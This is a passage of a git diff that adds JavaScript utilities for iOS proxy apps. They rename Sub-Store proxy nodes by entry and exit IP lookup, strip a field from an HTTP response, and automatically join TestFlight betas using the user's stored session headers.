"John", age: 40, country: "USA" }, + * { name: "Bob", age: 50, country: "UK" }, + * ]; + * const uniqueArr = removeDuplicates(arr, ["name", "country"]); + * console.log(uniqueArr); // 输出 [{ name: "John", age: 30, country: "USA" }, { name: "Jane", age: 25, country: "Canada" }, { name: "Bob", age: 50, country: "UK" }] + * + * @param arr 一个对象数组 + * @param fields 一个字段名数组,表示根据哪些属性去除重复的元素 + * @returns {*} + */ +function removeDuplicates(arr, fields) { + const map = new Map(); + return arr.filter(item => { + const key = fields.map(field => item[field]).join("-"); + if (map.has(key)) { + return false; + } else { + map.set(key, true); + return true; + } + }); +} + +const tasks = new Map(); + +async function queryIpApi(proxy) { + // 如果节点的server和port一样就认为是重复的,这里就不会去重新请求而是直接返回 + const id = getId(proxy); + if (tasks.has(id)) { + return tasks.get(id); + } + + const ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:78.0) Gecko/20100101 Firefox/78.0"; + const headers = { + "User-Agent": ua + }; + + const result = new Promise((resolve, reject) => { + const cached = resourceCache.get(id); + if (cached) { + resolve(cached); + } + // http://ip-api.com/json/24.48.0.1?lang=zh-CN + const url = `http://ip-api.com/json?lang=zh-CN`; + let node = ProxyUtils.produce([proxy], target); + + // Loon 需要去掉节点名字 + if (isLoon) { + const s = node.indexOf("="); + node = node.substring(s + 1); + } + // nodes.push(node); + + // QX只要tag的名字,目前QX不支持 + const QXTag = node.substring(node.lastIndexOf("=") + 1); + const opts = { + policy: QXTag + }; + + $.http.get({ + url, + headers, + opts: opts, // QX的写法 + node: node + }).then(resp => { + const body = resp.body; + const data = JSON.parse(body); + if (data.status === "success") { + // 地区代码|地区名称|IP :SG|新加坡|13.215.162.99 + const nodeInfo = data.countryCode + DELIMITER + data.country + DELIMITER + data.query; + resourceCache.set(id, nodeInfo); + resolve(nodeInfo); + } else { + reject(new Error(data.message)); + } + }).catch(err => { + console.log("💕err =" + err); + reject(err); + }); + }); + tasks.set(id, result); + return result; +} + +function getId(proxy) { + return MD5(`IP-FLAG-${proxy.server}-${proxy.port}`); +} + +function getFlagEmoji(countryCode) { + const codePoints = countryCode + .toUpperCase() + .split('') + .map(char => 127397 + char.charCodeAt()); + return String + .fromCodePoint(...codePoints) + .replace(/🇹🇼/g, '🇨🇳'); +} + +function removeFlag(str) { + return str + .replace(/[\uD83C][\uDDE6-\uDDFF][\uD83C][\uDDE6-\uDDFF]/g, '') + .trim(); +} + +function sleep(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +var MD5 = function (d) { var r = M(V(Y(X(d), 8 * d.length))); return r.toLowerCase() }; function M(d) { for (var _, m = "0123456789ABCDEF", f = "", r = 0; r < d.length; r++)_ = d.charCodeAt(r), f += m.charAt(_ >>> 4 & 15) + m.charAt(15 & _); return f } function X(d) { for (var _ = Array(d.length >> 2), m = 0; m < _.length; m++)_[m] = 0; for (m = 0; m < 8 * d.length; m += 8)_[m >> 5] |= (255 & d.charCodeAt(m / 8)) << m % 32; return _ } function V(d) { for (var _ = "", m = 0; m < 32 * d.length; m += 8)_ += String.fromCharCode(d[m >> 5] >>> m % 32 & 255); return _ } function Y(d, _) { d[_ >> 5] |= 128 << _ % 32, d[14 + (_ + 64 >>> 9 << 4)] = _; for (var m = 1732584193, f = -271733879, r = -1732584194, i = 271733878, n = 0; n < d.length; n += 16) { var h = m, t = f, g = r, e = i; f = md5_ii(f = md5_ii(f = md5_ii(f = md5_ii(f = md5_hh(f = md5_hh(f = md5_hh(f = md5_hh(f = md5_gg(f = md5_gg(f = md5_gg(f = md5_gg(f = md5_ff(f = md5_ff(f = md5_ff(f = md5_ff(f, r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 0], 7, -680876936), f, r, d[n + 1], 12, -389564586), m, f, d[n + 2], 17, 606105819), i, m, d[n + 3], 22, -1044525330), r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 4], 7, -176418897), f, r, d[n + 5], 12, 1200080426), m, f, d[n + 6], 17, -1473231341), i, m, d[n + 7], 22, -45705983), r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 8], 7, 1770035416), f, r, d[n + 9], 12, -1958414417), m, f, d[n + 10], 17, -42063), i, m, d[n + 11], 22, -1990404162), r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 12], 7, 1804603682), f, r, d[n + 13], 12, -40341101), m, f, d[n + 14], 17, -1502002290), i, m, d[n + 15], 22, 1236535329), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 1], 5, -165796510), f, r, d[n + 6], 9, -1069501632), m, f, d[n + 11], 14, 643717713), i, m, d[n + 0], 20, -373897302), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 5], 5, -701558691), f, r, d[n + 10], 9, 38016083), m, f, d[n + 15], 14, -660478335), i, m, d[n + 4], 20, -405537848), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 9], 5, 568446438), f, r, d[n + 14], 9, -1019803690), m, f, d[n + 3], 14, -187363961), i, m, d[n + 8], 20, 1163531501), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 13], 5, -1444681467), f, r, d[n + 2], 9, -51403784), m, f, d[n + 7], 14, 1735328473), i, m, d[n + 12], 20, -1926607734), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 5], 4, -378558), f, r, d[n + 8], 11, -2022574463), m, f, d[n + 11], 16, 1839030562), i, m, d[n + 14], 23, -35309556), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 1], 4, -1530992060), f, r, d[n + 4], 11, 1272893353), m, f, d[n + 7], 16, -155497632), i, m, d[n + 10], 23, -1094730640), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 13], 4, 681279174), f, r, d[n + 0], 11, -358537222), m, f, d[n + 3], 16, -722521979), i, m, d[n + 6], 23, 76029189), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 9], 4, -640364487), f, r, d[n + 12], 11, -421815835), m, f, d[n + 15], 16, 530742520), i, m, d[n + 2], 23, -995338651), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 0], 6, -198630844), f, r, d[n + 7], 10, 1126891415), m, f, d[n + 14], 15, -1416354905), i, m, d[n + 5], 21, -57434055), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 12], 6, 1700485571), f, r, d[n + 3], 10, -1894986606), m, f, d[n + 10], 15, -1051523), i, m, d[n + 1], 21, -2054922799), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 8], 6, 1873313359), f, r, d[n + 15], 10, -30611744), m, f, d[n + 6], 15, -1560198380), i, m, d[n + 13], 21, 1309151649), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 4], 6, -145523070), f, r, d[n + 11], 10, -1120210379), m, f, d[n + 2], 15, 718787259), i, m, d[n + 9], 21, -343485551), m = safe_add(m, h), f = safe_add(f, t), r = safe_add(r, g), i = safe_add(i, e) } return Array(m, f, r, i) } function md5_cmn(d, _, m, f, r, i) { return safe_add(bit_rol(safe_add(safe_add(_, d), safe_add(f, i)), r), m) } function md5_ff(d, _, m, f, r, i, n) { return md5_cmn(_ & m | ~_ & f, d, _, r, i, n) } function md5_gg(d, _, m, f, r, i, n) { return md5_cmn(_ & f | m & ~f, d, _, r, i, n) } function md5_hh(d, _, m, f, r, i, n) { return md5_cmn(_ ^ m ^ f, d, _, r, i, n) } function md5_ii(d, _, m, f, r, i, n) { return md5_cmn(m ^ (_ | ~f), d, _, r, i, n) } function safe_add(d, _) { var m = (65535 & d) + (65535 & _); return (d >> 16) + (_ >> 16) + (m >> 16) << 16 | 65535 & m } function bit_rol(d, _) { return d << _ | d >>> 32 - _ } \ No newline at end of file diff --git a/Scripts/SubStore/server_rename_dev.js b/Scripts/SubStore/server_rename_dev.js new file mode 100644 index 00000000..49aca1d4 --- /dev/null +++ b/Scripts/SubStore/server_rename_dev.js @@ -0,0 +1,252 @@ +//############################################ +// 脚本作者:@奶茶姐 感谢@key,@sub-store-org +// 重要提示:该脚本是测试脚本,请使用 https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rename_simple.js +// 脚本地址:https://github.com/fmz200/wool_scripts/raw/main/Scripts/SubStore/server_rename_dev.js +// 脚本作用:在SubStore内对节点重命名,并去除ping失败的节点 +// 使用方法:SubStore内选择“脚本操作”,然后填写上面的脚本地址 +// 支持平台:✅Loon,✅Surge,❌QuanX(待开发者支持),❌Stash(待开发者支持),❌ShadowRocket(待开发者支持) +// 更新时间:2023.05.07 20:25 +//############################################ + +const RESOURCE_CACHE_KEY = '#sub-store-cached-resource'; +const CACHE_EXPIRATION_TIME_MS = 10 * 60 * 1000; +const $ = $substore; + +class ResourceCache { + constructor(expires) { + this.expires = expires; + const cachedData = $.read(RESOURCE_CACHE_KEY); + if (!cachedData) { + this.resourceCache = {}; + this._persist(); + } else { + this.resourceCache = JSON.parse(cachedData); + } + this._cleanup(); + } + + _cleanup() { + // clear obsolete cached resource + let clear = false; + const now = new Date().getTime(); + Object.keys(this.resourceCache).forEach((id) => { + const updated = this.resourceCache[id]; + if (!updated.time || now - updated.time > this.expires) { + delete this.resourceCache[id]; + $.delete(`#${id}`); + clear = true; + } + }); + if (clear) this._persist(); + } + + revokeAll() { + this.resourceCache = {}; + this._persist(); + } + + _persist() { + $.write(JSON.stringify(this.resourceCache), RESOURCE_CACHE_KEY); + } + + get(id) { + const updated = this.resourceCache[id] && this.resourceCache[id].time; + if (updated && new Date().getTime() - updated <= this.expires) { + return this.resourceCache[id].data; + } + return null; + } + + set(id, value) { + this.resourceCache[id] = {time: new Date().getTime(), data: value} + this._persist(); + } +} + +const resourceCache = new ResourceCache(CACHE_EXPIRATION_TIME_MS); + +const DELIMITER = "|"; // 分隔符 +const {isLoon, isSurge, isQX, isNode, isStash, isShadowRocket} = $substore.env; +// 节点转换的目标类型 +const target = isLoon ? "Loon" : isSurge ? "Surge" : isQX ? "QX" : undefined; +// 判断传入超时 值,单位:ms +const timeout = $arguments['timeout'] ? $arguments['timeout'] : 5000; +// argument传入 flag 时候,添加国旗 +const flag = $arguments['flag']; +// 每一次处理的节点个数 +const batch_size = $arguments['batch']? $arguments['batch'] : 10; + +async function operator(proxies) { + const startTime = new Date(); // 获取当前时间作为开始时间 + console.log("✅💕初始节点个数 = " + proxies.length); + console.log("✅💕节点超时时间 = " + timeout); + console.log("✅💕批处理的节点个数 = " + batch_size); + // console.log("✅💕去重前的节点信息 = " + JSON.stringify(proxies)); + + const support = (isLoon || (isSurge && parseInt($environment['surge-build']) >= 2000)); + if (!support) { + $.error(`🚫该脚本只支持Loon、Surge,其他平台待开发者支持!`); + // $notify("♥♥重命名脚本只支持Loon 和 Surge!", "不支持01", "不支持02"); + return proxies; + } + + let i = 0; + while (i < proxies.length) { + const batch = proxies.slice(i, i + batch_size); + await Promise.allSettled(batch.map(async proxy => { + try { + // 查询入口IP信息 + const in_info = await queryInInfo(proxy.server); + // console.log(proxy.server + "✅💕in节点信息 = " + JSON.stringify(in_info)); + + // 查询出口IP信息 + const out_info = await queryOutInfo(proxy); + // console.log(proxy.server + "✅💕out节点信息 = " + JSON.stringify(out_info)); + + // 节点重命名为:旗帜|策略|序号 + const type = in_info.data === out_info.query ? "直连" : "中转"; + proxy.name = getFlagEmoji(out_info.countryCode) + DELIMITER + type + "→" + out_info.country; + + // 新增一个去重用字段,该字段重复就是重复节点:入口IP|出口IP,无此字段表示ping失败 + proxy.qc = in_info.data + DELIMITER + out_info.query; + proxy.px = out_info.countryCode; + } catch (err) { + console.log(`⚠️while err = ${err}`); + } + })); + + // await sleep(300); + i += batch_size; + } + // console.log("💰💕去重前的节点信息 = " + JSON.stringify(proxies)); + // 去除重复的节点,排序,再加个序号 + proxies = rmDupNameAndGroupAndEnumerate(proxies); + // console.log("✅💕去重后的节点信息 = " + JSON.stringify(proxies)); + console.log(`✅💕去重后的节点个数 = ${proxies.length}`); + + const endTime = new Date(); // 获取当前时间作为结束时间 + const timeDiff = endTime.getTime() - startTime.getTime(); // 获取时间差(以毫秒为单位) + console.log(`✅💕方法总耗时: ${timeDiff / 1000} seconds`); // 将时间差转换为秒并打印到控制台上 + + return proxies; +} + +// 查询入口 阿里dns +async function queryInInfo(server) { + return new Promise((resolve, reject) => { + const data = {data: server}; + const url = `http://223.5.5.5/resolve?name=${server}`; + $.http.get({ + url + }).then(resp => { + const body = JSON.parse(resp.body); + if (body.Status === 0) { + // Status: 0,成功,返回最下面的ip + resolve(body.Answer[body.Answer.length - 1]); + } else { + resolve(data); + } + }).catch(err => { + console.log("⚠️In err = " + err); + resolve(data); + }); + }); +} + +const tasks = new Map(); +async function queryOutInfo(proxy) { + const id = getId(proxy); + const cached = resourceCache.get(id); + if (cached) { + return (cached); + } + + return new Promise((resolve, reject) => { + const url = `http://ip-api.com/json?lang=zh-CN&fields=status,message,country,countryCode,city,query`; + let node = ProxyUtils.produce([proxy], target); + + // Loon 需要去掉节点名字 + // if (isLoon) { + // node = node.substring(node.indexOf("=") + 1); + // } + // QX只要tag的名字,目前QX本身不支持 + const opts = {policy: node.substring(node.lastIndexOf("=") + 1)}; + + const timeoutPromise = new Promise((_, reject) => { + setTimeout(() => { + reject(new Error("请求超时")); + }, timeout); + }); + + const queryPromise = + $.http.get({ + url, + opts: opts, // QX的写法 + node: node, // Loon和Surge IOS + "policy-descriptor": node // Surge MAC + }).then(resp => { + const body = JSON.parse(resp.body); + if (body.status === "success") { + resourceCache.set(id, body); + tasks.set(id, body); + resolve(body); + } else { + reject(new Error(body.message)); + } + }).catch(err => { + reject(err); + }); + // 超时处理 + Promise.race([timeoutPromise, queryPromise]) + .catch(err => { + reject(err); + }); + }); +} + +function getFlagEmoji(countryCode) { + const codePoints = countryCode + .toUpperCase() + .split('') + .map(char => 127397 + char.charCodeAt()); + return String + .fromCodePoint(...codePoints) + .replace(/🇹🇼/g, '🇨🇳'); +} + +function rmDupNameAndGroupAndEnumerate(arr) { + // 去重 + const nameSet = new Set(); + const result = []; + for (const e of arr) { + if (e.qc && !nameSet.has(e.qc)) { + nameSet.add(e.qc); + result.push(e); + } + } + + // 将对象按照 sort 属性分组 + const groups = result.reduce((result, item) => { + const key = item.px; + if (!result[key]) { + result[key] = []; + } + result[key].push(item); + return result; + }, {}); + + // 给每个分组中的对象的 name 属性加上两位数序号 + for (const groupKey in groups) { + if (groups.hasOwnProperty(groupKey)) { + const group = groups[groupKey]; + group.forEach((item, index) => { + item.name = `${item.name}${DELIMITER}${index < 10 ? '0' : ''}${index + 1}`; + }); + } + } + + // 将修改后的集合返回 + return Object.values(groups).flat(); +} + +var MD5 = function (d) { var r = M(V(Y(X(d), 8 * d.length))); return r.toLowerCase() }; function M(d) { for (var _, m = "0123456789ABCDEF", f = "", r = 0; r < d.length; r++)_ = d.charCodeAt(r), f += m.charAt(_ >>> 4 & 15) + m.charAt(15 & _); return f } function X(d) { for (var _ = Array(d.length >> 2), m = 0; m < _.length; m++)_[m] = 0; for (m = 0; m < 8 * d.length; m += 8)_[m >> 5] |= (255 & d.charCodeAt(m / 8)) << m % 32; return _ } function V(d) { for (var _ = "", m = 0; m < 32 * d.length; m += 8)_ += String.fromCharCode(d[m >> 5] >>> m % 32 & 255); return _ } function Y(d, _) { d[_ >> 5] |= 128 << _ % 32, d[14 + (_ + 64 >>> 9 << 4)] = _; for (var m = 1732584193, f = -271733879, r = -1732584194, i = 271733878, n = 0; n < d.length; n += 16) { var h = m, t = f, g = r, e = i; f = md5_ii(f = md5_ii(f = md5_ii(f = md5_ii(f = md5_hh(f = md5_hh(f = md5_hh(f = md5_hh(f = md5_gg(f = md5_gg(f = md5_gg(f = md5_gg(f = md5_ff(f = md5_ff(f = md5_ff(f = md5_ff(f, r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 0], 7, -680876936), f, r, d[n + 1], 12, -389564586), m, f, d[n + 2], 17, 606105819), i, m, d[n + 3], 22, -1044525330), r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 4], 7, -176418897), f, r, d[n + 5], 12, 1200080426), m, f, d[n + 6], 17, -1473231341), i, m, d[n + 7], 22, -45705983), r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 8], 7, 1770035416), f, r, d[n + 9], 12, -1958414417), m, f, d[n + 10], 17, -42063), i, m, d[n + 11], 22, -1990404162), r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 12], 7, 1804603682), f, r, d[n + 13], 12, -40341101), m, f, d[n + 14], 17, -1502002290), i, m, d[n + 15], 22, 1236535329), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 1], 5, -165796510), f, r, d[n + 6], 9, -1069501632), m, f, d[n + 11], 14, 643717713), i, m, d[n + 0], 20, -373897302), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 5], 5, -701558691), f, r, d[n + 10], 9, 38016083), m, f, d[n + 15], 14, -660478335), i, m, d[n + 4], 20, -405537848), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 9], 5, 568446438), f, r, d[n + 14], 9, -1019803690), m, f, d[n + 3], 14, -187363961), i, m, d[n + 8], 20, 1163531501), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 13], 5, -1444681467), f, r, d[n + 2], 9, -51403784), m, f, d[n + 7], 14, 1735328473), i, m, d[n + 12], 20, -1926607734), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 5], 4, -378558), f, r, d[n + 8], 11, -2022574463), m, f, d[n + 11], 16, 1839030562), i, m, d[n + 14], 23, -35309556), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 1], 4, -1530992060), f, r, d[n + 4], 11, 1272893353), m, f, d[n + 7], 16, -155497632), i, m, d[n + 10], 23, -1094730640), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 13], 4, 681279174), f, r, d[n + 0], 11, -358537222), m, f, d[n + 3], 16, -722521979), i, m, d[n + 6], 23, 76029189), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 9], 4, -640364487), f, r, d[n + 12], 11, -421815835), m, f, d[n + 15], 16, 530742520), i, m, d[n + 2], 23, -995338651), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 0], 6, -198630844), f, r, d[n + 7], 10, 1126891415), m, f, d[n + 14], 15, -1416354905), i, m, d[n + 5], 21, -57434055), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 12], 6, 1700485571), f, r, d[n + 3], 10, -1894986606), m, f, d[n + 10], 15, -1051523), i, m, d[n + 1], 21, -2054922799), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 8], 6, 1873313359), f, r, d[n + 15], 10, -30611744), m, f, d[n + 6], 15, -1560198380), i, m, d[n + 13], 21, 1309151649), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 4], 6, -145523070), f, r, d[n + 11], 10, -1120210379), m, f, d[n + 2], 15, 718787259), i, m, d[n + 9], 21, -343485551), m = safe_add(m, h), f = safe_add(f, t), r = safe_add(r, g), i = safe_add(i, e) } return Array(m, f, r, i) } function md5_cmn(d, _, m, f, r, i) { return safe_add(bit_rol(safe_add(safe_add(_, d), safe_add(f, i)), r), m) } function md5_ff(d, _, m, f, r, i, n) { return md5_cmn(_ & m | ~_ & f, d, _, r, i, n) } function md5_gg(d, _, m, f, r, i, n) { return md5_cmn(_ & f | m & ~f, d, _, r, i, n) } function md5_hh(d, _, m, f, r, i, n) { return md5_cmn(_ ^ m ^ f, d, _, r, i, n) } function md5_ii(d, _, m, f, r, i, n) { return md5_cmn(m ^ (_ | ~f), d, _, r, i, n) } function safe_add(d, _) { var m = (65535 & d) + (65535 & _); return (d >> 16) + (_ >> 16) + (m >> 16) << 16 | 65535 & m } function bit_rol(d, _) { return d << _ | d >>> 32 - _ } diff --git a/Scripts/T3.js b/Scripts/T3.js new file mode 100644 index 00000000..a24d58d2 --- /dev/null +++ b/Scripts/T3.js @@ -0,0 +1,3 @@ +let obj = JSON.parse($response.body); +delete obj.data; +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/TestFlight/AutoJoinTF.js b/Scripts/TestFlight/AutoJoinTF.js new file mode 100644 index 00000000..b113c3dd --- /dev/null +++ b/Scripts/TestFlight/AutoJoinTF.js @@ -0,0 +1,124 @@ +/** + @author fmz200 + @function 获取自动加入TF需要的信息,修改数据存储形式,支持大部分代理工具包括 QX,Loon,Surge,Egern,Stash,ShadowRocket,青龙 + @date 2025-06-19 21:00:00 + @quote https://raw.githubusercontent.com/DecoAri/JavaScript/main/Surge/Auto_join_TF.js + + 具体使用步骤 + 1、先获取需要的账户信息 + 2、添加定时任务 + 0 0/3 * * * ? https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/TestFlight/AutoJoinTF.js +*/ + +const $ = new Env('自动加入TestFlight'); +const isNode = $.isNode(); +const notify = isNode ? require('./sendNotify') : ''; +$.nodeNotifyMsg = []; // nodeJS合并通知 + +let TF_APP_ID = isNode ? process.env["fmz200_TF_APP_ID"] : $.getdata("fmz200_TF_APP_ID"); +let TF_header = isNode ? process.env["fmz200_TF_header"] : $.getdata("fmz200_TF_header"); + +!(async () => { + if (TF_APP_ID == null || TF_APP_ID === "") { + await sendMsg("❌ 未添加TF_APP_ID,请手动添加或使用TestFlight链接自动获取", ""); + $.done(); + } + if (TF_header == null || TF_header === "") { + await sendMsg("❌ 令牌信息不存在,请重新获取", ""); + $.done(); + } + TF_header = JSON.parse(TF_header); + const appIds = TF_APP_ID.split(','); + for await (const appId of appIds) { + console.log("==================="); + await autoPost(appId.trim()); + } + + if (isNode) await sendMsg($.nodeNotifyMsg.join("\n"), ""); + $.done(); +})(); + +function autoPost(appId) { + const url = `https://testflight.apple.com/v3/accounts/${TF_header.key}/ru/${appId}`; + const header = { + 'X-Session-Id': `${TF_header.session_id}`, + 'X-Session-Digest': `${TF_header.session_digest}`, + 'X-Request-Id': `${TF_header.request_id}`, + 'User-Agent': `${TF_header.tf_ua}`, + } + return new Promise(function (resolve) { + $.get({url: url, headers: header}, async function (error, resp, data) { + console.log("❤️ 查询appId情况响应"); + console.log(error); + console.log(resp); + console.log(data); + if (error == null) { + if (resp.status === 404) { + updateData(TF_APP_ID, appId); + console.log(`[${appId}]不存在该TestFlight,已自动删除该APP_ID`); + if (isNode) { + $.nodeNotifyMsg.push(`[${appId}]不存在该TestFlight,已自动删除该APP_ID`); + } else { + await sendMsg(`[${appId}]不存在该TestFlight,已自动删除该APP_ID`, ""); + } + resolve(); + } else if (resp.status === 401) { + console.log(`[${appId}]请求异常,可能是令牌过期或者定时任务间隔太短[建议3分钟以上],尝试重新加入`); + resolve(); + } else { + const jsonData = JSON.parse(data); + if (jsonData.data == null) { + console.log(`[${appId}]返回:${jsonData.messages[0]?.message}`); + resolve(); + } else if (jsonData.data.status === 'FULL') { + console.log(jsonData.data.app.name + ' ' + appId + ' ' + jsonData.data.message); + resolve(); + } else { + $.post({url: url + '/accept', headers: header}, async function (error, resp, body) { + console.log("✅ 加入TF响应"); + console.log(error); + console.log(resp); + console.log(data); + const jsonBody = JSON.parse(body); + if (isNode) { + $.nodeNotifyMsg.push(`[${appId}:${jsonBody.data.name}]加入成功,已自动删除该APP_ID`); + } else { + await sendMsg(`[${appId}:${jsonBody.data.name}]加入成功,已自动删除该APP_ID`, ""); + } + console.log(jsonBody.data.name + ' TestFlight 加入成功'); + updateData(TF_APP_ID, appId); + resolve(); + }) + } + } + } else { + if (error.includes('request timed out')) { + console.log(appId + ' ' + error); + resolve(); + } else { + if (isNode) { + $.nodeNotifyMsg.push(`自动加入TF[${appId}]异常`); + } else { + await sendMsg(`自动加入TF[${appId}]异常`, ""); + } + console.log(appId + ' ' + error); + resolve(); + } + } + }) + }) +} + +function updateData(ids, appId) { + if (isNode) { + console.log("TODO 操作node环境变量"); + } else { + let ids = $.getdata("fmz200_TF_APP_ID").split(',').filter(ids => ids.trim() !== appId); + $.setdata(ids.toString(), "fmz200_TF_APP_ID"); + } +} + +// API start +async function sendMsg(desc, opts) { $.isNode() ? await notify.sendNotify($.name, desc) : $.msg($.name, $.subTitle || "", desc, opts) } +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new 